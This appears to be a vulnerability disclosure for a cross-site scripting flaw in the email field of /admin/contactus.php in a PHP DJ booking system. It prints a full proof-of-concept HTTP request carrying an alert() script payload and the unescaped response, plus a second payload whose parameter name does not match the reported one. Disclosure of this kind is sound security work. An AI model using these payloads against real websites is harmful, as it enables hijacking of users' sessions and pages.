

XSS injection vulnerability exists in email parameter of /admin/contactus.php file of Complete Online DJ Booking System

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner.

Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

The screenshot shows the developer tools of a web browser. The 'Request' tab is selected, displaying the details of an HTTP POST request to /odms/admin/contactus.php. The 'Response' tab is also visible, showing the HTML content of the response. A search bar at the bottom of the response tab is set to 'alert(9652)', and it shows '1 match'.

**Request**

```
1 POST /odms/admin/contactus.php HTTP/1.1
2 Host: 192.168.31.163
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/107.0.5304.107 Safari/537.36
5 Accept:
  text/html,application/xhtml+xml,application/xml;q
  =0.9,image/avif,image/webp,image/apng,*/*;q=0.8,a
  pplication/signed-exchange;v=b3;q=0.9
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8 Cookie: user_login=admin; userpassword=Test%40123
  ; PHPSESSID=j0p31o04llac0iaqja43v4gc09
9 Connection: close
10 Content-Type: application/x-www-form-urlencoded
11 Content-Length: 186
12
13 email=
  info%40gmail.com'()%26%25<zzz><ScRiPt%20>alert(9
  652)</ScRiPt>&mobnum=1234567890&pagesdes=
  D-204%2C%20Hole%20Town%20South%20West%2CDehli-110
  096%2CIndia&pagetitle=Contact%20Us&submit=
```

**Response**

```
357 </div>
358 </div>
359 <div class="form-group row">
360 <label class="col-12" for=
  "register1-email">
  Email:
  </label>
361 <div class="col-12">
362 <input type="text" name=
  "email" id="email"
  required="true" value="
  info@gmail.com'()%&<zzz
  >
  <ScRiPt >
  alert(9652)
  </ScRiPt>
  " class="form-control">
363 </div>
364 </div>
365 <div class="form-group row">
366 <label class="col-12" for=
  "register1-email">
  Mobile Number:
  </label>
  <div class="col-12">
  <input type="text" name=
  "mobnum" id="mobnum"
  required="true" value="
```

Payload:searchdata=01/01/1967'"()%26%25<zzz><ScRiPt%20>alert(9756)</ScRiPt>

Source Download:

<https://www.campcodes.com/projects/php/online-dj-booking-system/>